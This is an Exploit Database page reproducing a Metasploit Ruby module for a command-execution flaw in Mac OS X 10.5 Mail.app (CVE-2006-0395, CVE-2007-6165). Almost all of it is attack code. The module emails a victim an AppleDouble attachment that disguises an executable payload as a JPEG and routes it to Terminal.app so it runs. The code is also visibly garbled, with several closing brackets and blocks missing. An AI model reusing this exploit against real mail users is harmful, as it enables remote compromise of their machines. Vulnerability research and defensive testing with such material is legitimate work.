Apple Mail.app – Image Attachment Command Execution (Metasploit)

Exploit Database
103 阅读

作者： Metasploit

日期： 2011-03-05
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/16870/

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# $Id: mailapp_image_exec.rb 10397 2010-09-20 15:59:46Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ManualRanking

# This module sends email messages via smtp

include Msf::Exploit::Remote::SMTPDeliver

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name' => 'Mail.app Image Attachment Command Execution',

'Description'=> %q{

This module exploits a command execution vulnerability in the

Mail.app application shipped with Mac OS X 10.5.0. This flaw was

patched in 10.4 in March of 2007, but reintroduced into the final

release of 10.5.

'License'=> MSF_LICENSE,

'Author' =>['hdm', 'kf'],

'Version'=> '$Revision: 10397 $',

'References' =>

[

['CVE', '2006-0395'],

['CVE', '2007-6165'],

['OSVDB', '40875'],

['BID', '26510'],

['BID', '16907']

'Stance' => Msf::Exploit::Stance::Passive,

'Payload'=>

{

'Space' => 8192,

'DisableNops' => true,

'BadChars'=> "",

'Compat'=>

{

'ConnectionType' => '-bind -find',

'Targets'=>

[

[ 'Mail.app - Command Payloads',

{

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'PayloadCompat' => {

'RequiredCmd'=> 'generic perl ruby bash telnet',

}

[ 'Mail.app - Binary Payloads (x86)',

{

'Platform' => 'osx',

'Arch' => ARCH_X86,

}

[ 'Mail.app - Binary Payloads (ppc)',

{

'Platform' => 'osx',

'Arch' => ARCH_PPC,

}

'DisclosureDate' => 'Mar 01 2006'

))

end

def autofilter

false

end

def exploit

exts = ['jpg']

gext = exts[rand(exts.length)]

name = rand_text_alpha(5) + ".#{gext}"

data = rand_text_alpha(rand(32)+1)

msg = Rex::MIME::Message.new

msg.mime_defaults

msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)

msg.to = datastore['MAILTO']

msg.from = datastore['MAILFROM']

dbl = Rex::MIME::Message.new

dbl.header.set("Content-Type", "multipart/appledouble;\r\nboundary=#{dbl.bound}")

dbl.header.set("Content-Disposition", "inline")

# AppleDouble file version 2

# 3 entries - 'Finder Info', 'Real name', 'Resource Fork'

# Real Name matches msf random generated 5 character name - (I cheated ala gsub)

resfork =

"AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAPgAAAAoAAAADAAAASAAAAAkAAAACAAAA\r\n" +

"UQAABToAAAAAAAAAAAAASGVpc2UuanBnAAABAAAABQgAAAQIAAAAMgAAAAAAAAAAAAAAAAAAAAAA\r\n" +

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQA\r\n" +

"AAAlL0FwcGxpY2F0aW9ucy9VdGlsaXRpZXMvVGVybWluYWwuYXBwAOzs7P/s7Oz/7Ozs/+zs7P/s\r\n" +

"7Oz/7Ozs/+Hh4f/h4eH/4eHh/+Hh4f/h4eH/4eHh/+Hh4f/h4eH/5ubm/+bm5v/m5ub/5ubm/+bm\r\n" +

"5v/m5ub/5ubm/+bm5v/p6en/6enp/+np6f/p6en/6enp/+np6f/p6en/6enp/+zs7P/s7Oz/7Ozs\r\n" +

"/+zs7P/s7Oz/7Ozs/+zs7P/s7Oz/7+/v/+/v7//v7+//7+/v/+/v7//v7+//7+/v/+/v7//z8/P/\r\n" +

"8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/2\r\n" +

"9vb/+Pj4//j4+P/4+Pj/+Pj4//j4+P/4+Pj/+Pj4//j4+P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8\r\n" +

"/P/8/Pz//Pz8////////////////////////////////////////////////////////////////\r\n" +

"/////////////////////6gAAACoAAAAqAAAAKgAAACoAAAAqAAAAKgAAACoAAAAKgAAACoAAAAq\r\n" +

"AAAAKgAAACoAAAAqAAAAKgAAACoAAAADAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAAAwAAAAAA\r\n" +

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +

"AAAAAQAAAAUIAAAECAAAADIAX9CsEsIAAAAcADIAAHVzcm8AAAAKAAD//wAAAAABDSF8" + "\r\n"

fork = Rex::Text.encode_base64( Rex::Text.decode_base64(resfork).gsub("Heise.jpg",name), "\r\n" )

cid = "<#{rand_text_alpha(rand(16)+16)}@#{rand_text_alpha(rand(16)+1)}.com>"

cmd = ''

if (target.arch.include?(ARCH_CMD))

cmd = Rex::Text.encode_base64(payload.encoded, "\r\n")

else

bin = generate_payload_exe

cmd = Rex::Text.encode_base64(bin, "\r\n")

end

dbl.add_part(fork , "application/applefile;\r\nname=\"#{name}\"", "base64", "inline;\r\nfilename=#{name}" )

dbl.add_part(cmd , "image/jpeg;\r\nx-mac-type=0;\r\nx-unix-mode=0755;\r\nx-mac-creator=0;\r\nname=\"#{name}\"", "base64\r\nContent-Id: #{cid}", "inline;\r\nfilename=#{name}" )

msg.parts << dbl

send_message(msg.to_s)

print_status("Waiting for a payload session (backgrounding)...")

end